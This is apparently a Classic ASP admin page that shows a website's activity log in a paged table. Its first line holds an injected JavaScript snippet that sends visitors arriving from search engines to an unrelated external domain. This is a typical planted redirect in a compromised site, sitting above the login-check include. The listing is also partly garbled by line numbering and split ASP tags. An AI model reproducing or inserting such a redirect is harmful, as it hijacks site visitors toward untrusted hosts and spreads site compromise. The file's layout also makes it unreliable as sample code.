d:\wwwroot\wuchunhua\sendmail\mail_loglist.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="inc_CheckLogin.asp"-->
002:
<!--#include file="inc/page_cls.asp"-->
003:
<html>
004:
<head>
005:
<title>管理</title>
006:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
007:
<script language="javascript" src="inc/js.js"></script>
008:
<link rel="stylesheet" href="inc/style.css"></head>
009:
<body>
010:
<%
CheckString("07")
011:
call main
012:
013:
sub main
014:
%
>
015:
<br class="table_br" />
016:
<table width="99%" border="0" align="center" cellpadding="5" cellspacing="1" class="tablebk" style="border-collapse: collapse">
017:
<tr>
018:
<td colspan="6" class="table_titlebg">网站日志</td>
019:
</tr>
020:
<tr>
021:
<td align="center" class="table_trbg01"><strong>ID</strong></td>
022:
<td align="center" class="table_trbg01"><strong>操作用户</strong></td>
023:
<td align="center" class="table_trbg01"><strong>操作事件</strong></td>
024:
<td align="center" class="table_trbg01"><strong>来源地址</strong></td>
025:
<td align="center" class="table_trbg01"><strong>时间</strong></td>
026:
<td align="center" class="table_trbg01"><strong>IP地址</strong></td>
027:
</tr>
028:
<%
029:
dim PageMaxSize
030:
PageMaxSize=15 '每页几条
031:
Set MyPage = New XdownPage '创建对象
032:
033:
MyPage.GetSQL ="select * from [vn_log] order by id desc"
034:
MyPage.PageSize = PageMaxSize '设置每一页的记录条数据为10条
035:
Set rs = MyPage.GetRS() '返回Recordset
036:
037:
If rs.eof Then
038:
response.Write("<tr><td height=""30"" align=""center"" colspan=""6"" class=""table_trbg02"">没有任何日志信息！</td></tr>")
039:
else
040:
For i=1 To MyPage.PageSize '显示数据
041:
If Not rs.eof Then
042:
043:
%
>
044:
<tr>
045:
<td align="center" class="table_trbg02">
<%
=rs("id")
%
></td>
046:
<td align="center" class="table_trbg02">
<%
=rs("username")
%
></td>
047:
<td align="center" class="table_trbg02">
<%
=rs("Remark")
%
></td>
048:
<td align="center" class="table_trbg02">
<%
=rs("Geturl")
%
></td>
049:
<td align="center" class="table_trbg02">
<%
=rs("Logtime")
%
></td>
050:
<td align="center" class="table_trbg02">
<%
=rs("UserIP")
%
></td>
051:
</tr>
052:
<%
053:
rs.movenext
054:
Else
055:
Exit For
056:
End If
057:
next
058:
End If
059:
%
>
060:
<tr>
061:
<td align="center" class="table_trbg02" colspan="6">
<%
if MyPage.ShowTotalRecord>0 then MyPage.ShowPage()
%
></td>
062:
</tr>
063:
</table>
064:
<%
end sub
065:
%
>
066:
</body>
067:
</html>
068:
069: